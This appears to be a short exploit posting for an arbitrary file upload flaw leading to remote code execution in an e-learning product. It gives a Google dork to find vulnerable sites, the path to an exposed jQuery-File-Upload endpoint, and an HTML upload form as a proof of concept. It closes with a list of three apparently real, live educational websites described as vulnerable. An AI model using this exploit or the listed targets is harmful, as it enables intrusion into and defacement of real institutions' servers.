# Exploit Title: Arbritrary File Upload - Remote Code Execution
# Google Dork: intext:dokumenary.net All rights reserved.
# Date: 29/01/2023
# Exploit Author: UnM@SK
# Vendor Homepage: https://dokumenary.net
# All Version Not Patched
1 you can go straight to the exploit
2 you access /assets/comp/RichFilemanager/scripts/jQuery-File-Upload/
3 go to exploit csrf file upload
#CSRF
<html><head><title>poc</title>
</head><body bgcolor="white" class="intent-mouse"><center> <h1>My Poc</h1><h1>
<font color="black"> <form method="POST" action="site.idassets/comp/RichFilemanager/scripts/jQuery-File-Upload/server/php/" enctype="multipart/form-data"> <input type="file" name="files[]"><input type="submit" name="Submit" value="Upload ?"> <center><h5></h5>© idiotCrew <h5></h5> </center></form></font></h1></center>
</body></html>
#Live
https://elearning.staiubkujunggading.ac.id/
https://stpsantopetruska.ac.id/new_elearning/
http://elsas.ar-rum.ac.id/
Polish
English